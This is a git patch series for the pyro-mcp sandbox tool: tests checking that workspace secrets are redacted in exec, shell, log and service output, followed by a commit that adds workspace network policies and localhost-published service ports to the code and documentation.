manager.exec_workspace( + workspace_id, + command='sh -lc \'printf "%s\\n" "$API_TOKEN"\'', + timeout_seconds=30, + secret_env={"API_TOKEN": "API_TOKEN"}, + ) + assert executed["stdout"] == "[REDACTED]\n" + + logs = manager.logs_workspace(workspace_id) + assert logs["entries"][-1]["stdout"] == "[REDACTED]\n" + + shell = manager.open_shell( + workspace_id, + secret_env={"API_TOKEN": "API_TOKEN"}, + ) + shell_id = str(shell["shell_id"]) + manager.write_shell(workspace_id, shell_id, input_text='printf "%s\\n" "$API_TOKEN"') + output = "" + deadline = time.time() + 5 + while time.time() < deadline: + read = manager.read_shell(workspace_id, shell_id, cursor=0, max_chars=65536) + output = str(read["output"]) + if "[REDACTED]" in output: + break + time.sleep(0.05) + assert "[REDACTED]" in output + manager.close_shell(workspace_id, shell_id) + + started = manager.start_service( + workspace_id, + "app", + command=( + 'sh -lc \'trap "exit 0" TERM; printf "%s\\n" "$API_TOKEN" >&2; ' + 'touch .ready; while true; do sleep 60; done\'' + ), + readiness={"type": "file", "path": ".ready"}, + secret_env={"API_TOKEN": "API_TOKEN"}, + ) + assert started["state"] == "running" + service_logs = manager.logs_service(workspace_id, "app", tail_lines=None) + assert "[REDACTED]" in str(service_logs["stderr"]) + + reset = manager.reset_workspace(workspace_id) + assert reset["secrets"] == created["secrets"] + + after_reset = manager.exec_workspace( + workspace_id, + command='sh -lc \'printf "%s\\n" "$API_TOKEN"\'', + timeout_seconds=30, + secret_env={"API_TOKEN": "API_TOKEN"}, + ) + assert after_reset["stdout"] == "[REDACTED]\n" + + +def test_workspace_secret_validation_helpers(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + assert vm_manager_module._normalize_workspace_secret_name("API_TOKEN") == "API_TOKEN" # noqa: SLF001 + with pytest.raises(ValueError, match="secret name must match"): + vm_manager_module._normalize_workspace_secret_name("bad-name") # noqa: SLF001 + with pytest.raises(ValueError, match="must not be empty"): + vm_manager_module._validate_workspace_secret_value("TOKEN", "") # noqa: SLF001 + with pytest.raises(ValueError, match="duplicate secret name"): + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + secrets=[ + {"name": "TOKEN", "value": "one"}, + {"name": "TOKEN", "value": "two"}, + ], + ) + + +def test_prepare_workspace_secrets_handles_file_inputs_and_validation_errors( + tmp_path: Path, +) -> None: + secrets_dir = tmp_path / "secrets" + valid_file = tmp_path / "token.txt" + valid_file.write_text("from-file\n", encoding="utf-8") + invalid_utf8 = tmp_path / "invalid.bin" + invalid_utf8.write_bytes(b"\xff\xfe") + oversized = tmp_path / "oversized.txt" + oversized.write_text( + "x" * (vm_manager_module.WORKSPACE_SECRET_MAX_BYTES + 1), + encoding="utf-8", + ) + + records, values = vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 + [ + {"name": "B_TOKEN", "value": "literal"}, + {"name": "A_TOKEN", "file_path": str(valid_file)}, + ], + secrets_dir=secrets_dir, + ) + assert [record.name for record in records] == ["A_TOKEN", "B_TOKEN"] + assert values == {"A_TOKEN": "from-file\n", "B_TOKEN": "literal"} + assert (secrets_dir / "A_TOKEN.secret").read_text(encoding="utf-8") == "from-file\n" + assert oct(secrets_dir.stat().st_mode & 0o777) == "0o700" + assert oct((secrets_dir / "A_TOKEN.secret").stat().st_mode & 0o777) == "0o600" + + with pytest.raises(ValueError, match="must be a dictionary"): + vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 + [cast(dict[str, str], "bad")], + secrets_dir=tmp_path / "bad1", + ) + with pytest.raises(ValueError, match="missing 'name'"): + vm_manager_module._prepare_workspace_secrets([{}], secrets_dir=tmp_path / "bad2") # noqa: SLF001 + with pytest.raises(ValueError, match="exactly one of 'value' or 'file_path'"): + vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 + [{"name": "TOKEN", "value": "x", "file_path": str(valid_file)}], + secrets_dir=tmp_path / "bad3", + ) + with pytest.raises(ValueError, match="file_path must not be empty"): + vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 + [{"name": "TOKEN", "file_path": " "}], + secrets_dir=tmp_path / "bad4", + ) + with pytest.raises(ValueError, match="does not exist"): + vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 + [{"name": "TOKEN", "file_path": str(tmp_path / "missing.txt")}], + secrets_dir=tmp_path / "bad5", + ) + with pytest.raises(ValueError, match="must be valid UTF-8 text"): + vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 + [{"name": "TOKEN", "file_path": str(invalid_utf8)}], + secrets_dir=tmp_path / "bad6", + ) + with pytest.raises(ValueError, match="must be at most"): + vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 + [{"name": "TOKEN", "file_path": str(oversized)}], + secrets_dir=tmp_path / "bad7", + ) + + +def test_workspace_secrets_require_guest_exec_on_firecracker_runtime( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + class StubFirecrackerBackend: + def __init__(self, *args: Any, **kwargs: Any) -> None: + del args, kwargs + + def create(self, instance: Any) -> None: + del instance + + def start(self, instance: Any) -> None: + del instance + + def stop(self, instance: Any) -> None: + del instance + + def delete(self, instance: Any) -> None: + del instance + + monkeypatch.setattr(vm_manager_module, "FirecrackerBackend", StubFirecrackerBackend) + manager = VmManager( + backend_name="firecracker", + base_dir=tmp_path / "vms", + runtime_paths=resolve_runtime_paths(), + network_manager=TapNetworkManager(enabled=False), + ) + manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=True, + supports_guest_exec=False, + supports_guest_network=False, + reason="guest exec is unavailable", + ) + + with pytest.raises(RuntimeError, match="workspace secrets require guest execution"): + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + secrets=[{"name": "TOKEN", "value": "expected"}], + ) diff --git a/uv.lock b/uv.lock index 436eb8c..b2d9352 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "2.8.0" +version = "2.9.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From c82f4629b27f5a9f05be0ecac0e82f61937807c5 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Thu, 12 Mar 2026 18:12:57 -0300 Subject: [PATCH 22/49] Add workspace network policy and published ports Replace the workspace-level boolean network toggle with explicit network policies and attach localhost TCP publication to workspace services. Persist network_policy in workspace records, validate --publish requests, and run host-side proxy helpers that follow the service lifecycle so published ports are cleaned up on failure, stop, reset, and delete. Update the CLI, SDK, MCP contract, docs, roadmap, and examples for the new policy model, add coverage for the proxy and manager edge cases, and validate with uv lock, UV_CACHE_DIR=.uv-cache make check, UV_CACHE_DIR=.uv-cache make dist-check, and a real guest-backed published-port probe smoke. --- CHANGELOG.md | 9 + README.md | 20 +- docs/first-run.md | 27 +- docs/install.md | 20 +- docs/integrations.md | 5 + docs/public-contract.md | 16 +- docs/roadmap/task-workspace-ga.md | 6 +- ...etwork-policy-and-host-port-publication.md | 2 + examples/python_workspace.py | 3 + pyproject.toml | 2 +- src/pyro_mcp/api.py | 13 +- src/pyro_mcp/cli.py | 83 +- src/pyro_mcp/contract.py | 3 +- src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/vm_manager.py | 408 +++++++++- src/pyro_mcp/workspace_ports.py | 116 +++ tests/test_api.py | 68 ++ tests/test_cli.py | 130 ++- tests/test_vm_manager.py | 769 ++++++++++++++++++ tests/test_workspace_ports.py | 289 +++++++ uv.lock | 2 +- 21 files changed, 1944 insertions(+), 49 deletions(-) create mode 100644 src/pyro_mcp/workspace_ports.py create mode 100644 tests/test_workspace_ports.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 27fb84c..3d87f8a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,15 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 2.10.0 + +- Replaced the workspace-level boolean network toggle with explicit workspace network policies: + `off`, `egress`, and `egress+published-ports`. +- Added localhost-only published TCP ports for workspace services across the CLI, Python SDK, and + MCP server, including returned host/guest port metadata on service start, list, and status. +- Kept published ports attached to services rather than `/workspace` itself, so host probing works + without changing workspace diff, export, shell, or reset semantics. + ## 2.9.0 - Added explicit workspace secrets across the CLI, Python SDK, and MCP server with diff --git a/README.md b/README.md index 11fb968..fa1c7c6 100644 --- a/README.md +++ b/README.md @@ -20,7 +20,7 @@ It exposes the same runtime in three public forms: - First run transcript: [docs/first-run.md](docs/first-run.md) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 2.9.0: [CHANGELOG.md#290](CHANGELOG.md#290) +- What's new in 2.10.0: [CHANGELOG.md#2100](CHANGELOG.md#2100) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -57,7 +57,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 2.9.0 +Catalog version: 2.10.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -78,6 +78,7 @@ After the quickstart works: - prove the full one-shot lifecycle with `uvx --from pyro-mcp pyro demo` - create a persistent workspace with `uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo` - update a live workspace from the host with `uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes` +- enable outbound guest networking for one workspace with `uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress` - add literal or file-backed secrets with `uvx --from pyro-mcp pyro workspace create debian:12 --secret API_TOKEN=expected --secret-file PIP_TOKEN=./token.txt` - map one persisted secret into one exec, shell, or service call with `--secret-env API_TOKEN` - diff the live workspace against its create-time baseline with `uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID` @@ -86,6 +87,7 @@ After the quickstart works: - export a changed file or directory with `uvx --from pyro-mcp pyro workspace export WORKSPACE_ID note.txt --output ./note.txt` - open a persistent interactive shell with `uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID` - start long-running workspace services with `uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done'` +- publish one guest service port to the host with `uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress+published-ports` and `uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app` - move to Python or MCP via [docs/integrations.md](docs/integrations.md) ## Supported Hosts @@ -139,7 +141,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.9.0 +Catalog version: 2.10.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -215,7 +217,9 @@ longer-term interaction model. ```bash pyro workspace create debian:12 --seed-path ./repo +pyro workspace create debian:12 --network-policy egress pyro workspace create debian:12 --seed-path ./repo --secret API_TOKEN=expected +pyro workspace create debian:12 --network-policy egress+published-ports pyro workspace sync push WORKSPACE_ID ./changes --dest src pyro workspace exec WORKSPACE_ID -- cat src/note.txt pyro workspace exec WORKSPACE_ID --secret-env API_TOKEN -- sh -lc 'test "$API_TOKEN" = "expected"' @@ -230,6 +234,7 @@ pyro workspace shell read WORKSPACE_ID SHELL_ID pyro workspace shell close WORKSPACE_ID SHELL_ID pyro workspace service start WORKSPACE_ID web --secret-env API_TOKEN --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' pyro workspace service start WORKSPACE_ID worker --ready-file .worker-ready -- sh -lc 'touch .worker-ready && while true; do sleep 60; done' +pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app pyro workspace service list WORKSPACE_ID pyro workspace service status WORKSPACE_ID web pyro workspace service logs WORKSPACE_ID web --tail-lines 50 @@ -243,7 +248,7 @@ Persistent workspaces start in `/workspace` and keep command history until you d machine consumption, add `--json` and read the returned `workspace_id`. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `2.9.0`; if it fails +later host-side changes into a started workspace. Sync is non-atomic in `2.10.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use @@ -255,6 +260,9 @@ persistent PTY session that keeps interactive shell state between calls. Use Typed readiness checks prefer `--ready-file`, `--ready-tcp`, or `--ready-http`; keep `--ready-command` as the escape hatch. Service metadata and logs live outside `/workspace`, so the internal service state does not appear in `pyro workspace diff` or `pyro workspace export`. +Use `--network-policy egress` when the workspace needs outbound guest networking, and +`--network-policy egress+published-ports` plus `workspace service start --publish` when one +service must be probed from the host on `127.0.0.1`. Use `--secret` and `--secret-file` at workspace creation when the sandbox needs private tokens or config. Persisted secrets are materialized inside the guest at `/run/pyro-secrets/`, and `--secret-env SECRET_NAME[=ENV_VAR]` maps one secret into one exec, shell, or service call without @@ -430,7 +438,7 @@ Advanced lifecycle tools: Persistent workspace tools: -- `workspace_create(environment, vcpu_count=1, mem_mib=1024, ttl_seconds=600, network=false, allow_host_compat=false, seed_path=null, secrets=null)` +- `workspace_create(environment, vcpu_count=1, mem_mib=1024, ttl_seconds=600, network_policy="off", allow_host_compat=false, seed_path=null, secrets=null)` - `workspace_sync_push(workspace_id, source_path, dest="/workspace")` - `workspace_exec(workspace_id, command, timeout_seconds=30, secret_env=null)` - `workspace_export(workspace_id, path, output_path)` @@ -439,7 +447,7 @@ Persistent workspace tools: - `snapshot_list(workspace_id)` - `snapshot_delete(workspace_id, snapshot_name)` - `workspace_reset(workspace_id, snapshot="baseline")` -- `service_start(workspace_id, service_name, command, cwd="/workspace", readiness=null, ready_timeout_seconds=30, ready_interval_ms=500, secret_env=null)` +- `service_start(workspace_id, service_name, command, cwd="/workspace", readiness=null, ready_timeout_seconds=30, ready_interval_ms=500, secret_env=null, published_ports=null)` - `service_list(workspace_id)` - `service_status(workspace_id, service_name)` - `service_logs(workspace_id, service_name, tail_lines=200)` diff --git a/docs/first-run.md b/docs/first-run.md index 437b291..b6b20b4 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 2.9.0 +Catalog version: 2.10.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -72,6 +72,7 @@ deterministic structured result. $ uvx --from pyro-mcp pyro demo $ uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo $ uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes +$ uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress $ uvx --from pyro-mcp pyro workspace create debian:12 --secret API_TOKEN=expected --secret-file PIP_TOKEN=./token.txt $ uvx --from pyro-mcp pyro workspace exec WORKSPACE_ID --secret-env API_TOKEN -- sh -lc 'test "$API_TOKEN" = "expected"' $ uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID @@ -80,6 +81,8 @@ $ uvx --from pyro-mcp pyro workspace reset WORKSPACE_ID --snapshot checkpoint $ uvx --from pyro-mcp pyro workspace export WORKSPACE_ID note.txt --output ./note.txt $ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID --secret-env API_TOKEN $ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --secret-env API_TOKEN --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done' +$ uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress+published-ports +$ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app $ uvx --from pyro-mcp pyro mcp serve ``` @@ -94,6 +97,7 @@ Environment: debian:12 State: started Workspace: /workspace Workspace seed: directory from ... +Network policy: off Execution mode: guest_vsock Resources: 1 vCPU / 1024 MiB Command count: 0 @@ -144,6 +148,14 @@ $ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID web --secret-env $ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID worker --ready-file .worker-ready -- sh -lc 'touch .worker-ready && while true; do sleep 60; done' [workspace-service-start] workspace_id=... service=worker state=running cwd=/workspace ready_type=file execution_mode=guest_vsock +$ uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress+published-ports +Workspace ID: ... +Network policy: egress+published-ports +... + +$ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app +[workspace-service-start] workspace_id=... service=app state=running cwd=/workspace ready_type=http execution_mode=guest_vsock published=127.0.0.1:18080->8080/tcp + $ uvx --from pyro-mcp pyro workspace service list WORKSPACE_ID Workspace: ... Services: 2 total, 2 running @@ -175,7 +187,7 @@ $ uvx --from pyro-mcp pyro workspace service stop WORKSPACE_ID worker Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `2.9.0`; if it fails partway through, prefer `pyro workspace reset` +workspace. Sync is non-atomic in `2.10.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable create-time baseline, `pyro workspace snapshot *` to create named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the @@ -183,10 +195,13 @@ host. Use `pyro workspace exec` for one-shot commands and `pyro workspace shell need a persistent interactive PTY session in that same workspace. Use `pyro workspace service *` when the workspace needs long-running background processes with typed readiness checks. Internal service state and logs stay outside `/workspace`, so service runtime data does not appear in -workspace diff or export results. Use `--secret` and `--secret-file` at workspace creation when -the sandbox needs private tokens or config. Persisted secret files are materialized at -`/run/pyro-secrets/`, and `--secret-env SECRET_NAME[=ENV_VAR]` maps one secret into one -exec, shell, or service call without storing that environment mapping on the workspace itself. +workspace diff or export results. Use `--network-policy egress` for outbound guest networking, and +`--network-policy egress+published-ports` plus `workspace service start --publish` when one +service must be reachable from the host on `127.0.0.1`. Use `--secret` and `--secret-file` at +workspace creation when the sandbox needs private tokens or config. Persisted secret files are +materialized at `/run/pyro-secrets/`, and `--secret-env SECRET_NAME[=ENV_VAR]` maps one +secret into one exec, shell, or service call without storing that environment mapping on the +workspace itself. Example output: diff --git a/docs/install.md b/docs/install.md index 7c05827..10c9742 100644 --- a/docs/install.md +++ b/docs/install.md @@ -83,7 +83,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.9.0 +Catalog version: 2.10.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -176,12 +176,14 @@ After the CLI path works, you can move on to: - persistent workspaces: `pyro workspace create debian:12 --seed-path ./repo` - live workspace updates: `pyro workspace sync push WORKSPACE_ID ./changes` +- guest networking policy: `pyro workspace create debian:12 --network-policy egress` - workspace secrets: `pyro workspace create debian:12 --secret API_TOKEN=expected --secret-file PIP_TOKEN=./token.txt` - baseline diff: `pyro workspace diff WORKSPACE_ID` - snapshots and reset: `pyro workspace snapshot create WORKSPACE_ID checkpoint` and `pyro workspace reset WORKSPACE_ID --snapshot checkpoint` - host export: `pyro workspace export WORKSPACE_ID note.txt --output ./note.txt` - interactive shells: `pyro workspace shell open WORKSPACE_ID` - long-running services: `pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done'` +- localhost-published ports: `pyro workspace create debian:12 --network-policy egress+published-ports` and `pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app` - MCP: `pyro mcp serve` - Python SDK: `from pyro_mcp import Pyro` - Demos: `pyro demo` or `pyro demo --network` @@ -192,7 +194,9 @@ Use `pyro workspace ...` when you need repeated commands in one sandbox instead ```bash pyro workspace create debian:12 --seed-path ./repo +pyro workspace create debian:12 --network-policy egress pyro workspace create debian:12 --seed-path ./repo --secret API_TOKEN=expected +pyro workspace create debian:12 --network-policy egress+published-ports pyro workspace sync push WORKSPACE_ID ./changes --dest src pyro workspace exec WORKSPACE_ID -- cat src/note.txt pyro workspace exec WORKSPACE_ID --secret-env API_TOKEN -- sh -lc 'test "$API_TOKEN" = "expected"' @@ -207,6 +211,7 @@ pyro workspace shell read WORKSPACE_ID SHELL_ID pyro workspace shell close WORKSPACE_ID SHELL_ID pyro workspace service start WORKSPACE_ID web --secret-env API_TOKEN --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' pyro workspace service start WORKSPACE_ID worker --ready-file .worker-ready -- sh -lc 'touch .worker-ready && while true; do sleep 60; done' +pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app pyro workspace service list WORKSPACE_ID pyro workspace service status WORKSPACE_ID web pyro workspace service logs WORKSPACE_ID web --tail-lines 50 @@ -220,7 +225,7 @@ Workspace commands default to the persistent `/workspace` directory inside the g the identifier programmatically, use `--json` and read the `workspace_id` field. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `2.9.0`; if it fails partway through, prefer `pyro workspace reset` to recover +is non-atomic in `2.10.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time baseline, `pyro workspace snapshot *` to capture named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the host. Use @@ -228,10 +233,13 @@ checkpoints, and `pyro workspace export` to copy one changed file or directory b interactive PTY that survives across separate calls. Use `pyro workspace service *` when the workspace needs long-running background processes with typed readiness probes. Service metadata and logs stay outside `/workspace`, so the service runtime itself does not show up in workspace diff or -export results. Use `--secret` and `--secret-file` at workspace creation when the sandbox needs -private tokens or config, and `--secret-env SECRET_NAME[=ENV_VAR]` when one exec, shell, or -service call needs that secret as an environment variable. Persisted secret files are available in -the guest at `/run/pyro-secrets/`. +export results. Use `--network-policy egress` when the workspace needs outbound guest networking, +and `--network-policy egress+published-ports` plus `workspace service start --publish` when one +service must be reachable from the host on `127.0.0.1`. Use `--secret` and `--secret-file` at +workspace creation when the sandbox needs private tokens or config, and +`--secret-env SECRET_NAME[=ENV_VAR]` when one exec, shell, or service call needs that secret as an +environment variable. Persisted secret files are available in the guest at +`/run/pyro-secrets/`. ## Contributor Clone diff --git a/docs/integrations.md b/docs/integrations.md index c5744ef..f263c61 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -32,6 +32,7 @@ Recommended surface: - `vm_run` - `workspace_create(seed_path=...)` + `workspace_sync_push` + `workspace_exec` when the agent needs persistent workspace state - `workspace_create(..., secrets=...)` + `workspace_exec(..., secret_env=...)` when the workspace needs private tokens or authenticated setup +- `workspace_create(..., network_policy="egress+published-ports")` + `start_service(..., published_ports=[...])` when the host must probe one workspace service - `workspace_diff` + `workspace_export` when the agent needs explicit baseline comparison or host-out file transfer - `start_service` / `list_services` / `status_service` / `logs_service` / `stop_service` when the agent needs long-running processes inside that workspace - `open_shell(..., secret_env=...)` / `read_shell` / `write_shell` when the agent needs an interactive PTY inside that workspace @@ -71,6 +72,7 @@ Recommended default: - `Pyro.run_in_vm(...)` - `Pyro.create_workspace(seed_path=...)` + `Pyro.push_workspace_sync(...)` + `Pyro.exec_workspace(...)` when repeated workspace commands are required - `Pyro.create_workspace(..., secrets=...)` + `Pyro.exec_workspace(..., secret_env=...)` when the workspace needs private tokens or authenticated setup +- `Pyro.create_workspace(..., network_policy="egress+published-ports")` + `Pyro.start_service(..., published_ports=[...])` when the host must probe one workspace service - `Pyro.diff_workspace(...)` + `Pyro.export_workspace(...)` when the agent needs baseline comparison or host-out file transfer - `Pyro.start_service(..., secret_env=...)` + `Pyro.list_services(...)` + `Pyro.logs_service(...)` when the agent needs long-running background processes in one workspace - `Pyro.open_shell(..., secret_env=...)` + `Pyro.write_shell(...)` + `Pyro.read_shell(...)` when the agent needs an interactive PTY inside the workspace @@ -86,6 +88,9 @@ Lifecycle note: running workspace without recreating it - use `create_workspace(..., secrets=...)` plus `secret_env` on exec, shell, or service start when the agent needs private tokens or authenticated startup inside that workspace +- use `create_workspace(..., network_policy="egress+published-ports")` plus + `start_service(..., published_ports=[...])` when the host must probe one service from that + workspace - use `diff_workspace(...)` when the agent needs a structured comparison against the immutable create-time baseline - use `export_workspace(...)` when the agent needs one file or directory copied back to the host diff --git a/docs/public-contract.md b/docs/public-contract.md index 16a94d2..1319cb1 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -64,6 +64,7 @@ Behavioral guarantees: - `pyro demo ollama` prints log lines plus a final summary line. - `pyro workspace create` auto-starts a persistent workspace. - `pyro workspace create --seed-path PATH` seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. +- `pyro workspace create --network-policy {off,egress,egress+published-ports}` controls workspace guest networking and whether services may publish localhost ports. - `pyro workspace create --secret NAME=VALUE` and `--secret-file NAME=PATH` persist guest-only UTF-8 secrets outside `/workspace`. - `pyro workspace sync push WORKSPACE_ID SOURCE_PATH [--dest WORKSPACE_PATH]` imports later host-side directory or archive content into a started workspace. - `pyro workspace export WORKSPACE_ID PATH --output HOST_PATH` exports one file or directory from `/workspace` back to the host. @@ -71,6 +72,7 @@ Behavioral guarantees: - `pyro workspace snapshot *` manages explicit named snapshots in addition to the implicit `baseline`. - `pyro workspace reset WORKSPACE_ID [--snapshot SNAPSHOT_NAME|baseline]` recreates the full sandbox and restores `/workspace` from the chosen snapshot. - `pyro workspace service *` manages long-running named services inside one started workspace with typed readiness probes. +- `pyro workspace service start --publish GUEST_PORT` or `--publish HOST_PORT:GUEST_PORT` publishes one guest TCP port to `127.0.0.1` on the host. - `pyro workspace exec --secret-env SECRET_NAME[=ENV_VAR]` maps one persisted secret into one exec call. - `pyro workspace service start --secret-env SECRET_NAME[=ENV_VAR]` maps one persisted secret into one service start call. - `pyro workspace exec` runs in the persistent `/workspace` for that workspace and does not auto-clean. @@ -78,9 +80,11 @@ Behavioral guarantees: - `pyro workspace shell *` manages persistent PTY sessions inside a started workspace. - `pyro workspace logs` returns persisted command history for that workspace until `pyro workspace delete`. - Workspace create/status results expose `workspace_seed` metadata describing how `/workspace` was initialized. +- Workspace create/status/reset results expose `network_policy`. - Workspace create/status/reset results expose `reset_count` and `last_reset_at`. - Workspace create/status/reset results expose safe `secrets` metadata with each secret name and source kind, but never the secret values. - `pyro workspace status` includes aggregate `service_count` and `running_service_count` fields. +- `pyro workspace service start`, `pyro workspace service list`, and `pyro workspace service status` expose published-port metadata when present. ## Python SDK Contract @@ -97,7 +101,7 @@ Supported public entrypoints: - `Pyro.inspect_environment(environment)` - `Pyro.prune_environments()` - `Pyro.create_vm(...)` -- `Pyro.create_workspace(..., secrets=None)` +- `Pyro.create_workspace(..., network_policy="off", secrets=None)` - `Pyro.push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` - `Pyro.export_workspace(workspace_id, path, *, output_path)` - `Pyro.diff_workspace(workspace_id)` @@ -105,7 +109,7 @@ Supported public entrypoints: - `Pyro.list_snapshots(workspace_id)` - `Pyro.delete_snapshot(workspace_id, snapshot_name)` - `Pyro.reset_workspace(workspace_id, *, snapshot="baseline")` -- `Pyro.start_service(workspace_id, service_name, *, command, cwd="/workspace", readiness=None, ready_timeout_seconds=30, ready_interval_ms=500, secret_env=None)` +- `Pyro.start_service(workspace_id, service_name, *, command, cwd="/workspace", readiness=None, ready_timeout_seconds=30, ready_interval_ms=500, secret_env=None, published_ports=None)` - `Pyro.list_services(workspace_id)` - `Pyro.status_service(workspace_id, service_name)` - `Pyro.logs_service(workspace_id, service_name, *, tail_lines=200, all=False)` @@ -136,7 +140,7 @@ Stable public method names: - `inspect_environment(environment)` - `prune_environments()` - `create_vm(...)` -- `create_workspace(..., secrets=None)` +- `create_workspace(..., network_policy="off", secrets=None)` - `push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` - `export_workspace(workspace_id, path, *, output_path)` - `diff_workspace(workspace_id)` @@ -144,7 +148,7 @@ Stable public method names: - `list_snapshots(workspace_id)` - `delete_snapshot(workspace_id, snapshot_name)` - `reset_workspace(workspace_id, *, snapshot="baseline")` -- `start_service(workspace_id, service_name, *, command, cwd="/workspace", readiness=None, ready_timeout_seconds=30, ready_interval_ms=500, secret_env=None)` +- `start_service(workspace_id, service_name, *, command, cwd="/workspace", readiness=None, ready_timeout_seconds=30, ready_interval_ms=500, secret_env=None, published_ports=None)` - `list_services(workspace_id)` - `status_service(workspace_id, service_name)` - `logs_service(workspace_id, service_name, *, tail_lines=200, all=False)` @@ -174,6 +178,7 @@ Behavioral defaults: - `allow_host_compat` defaults to `False` on `create_vm(...)` and `run_in_vm(...)`. - `allow_host_compat` defaults to `False` on `create_workspace(...)`. - `Pyro.create_workspace(..., seed_path=...)` seeds `/workspace` from a host directory or a local `.tar` / 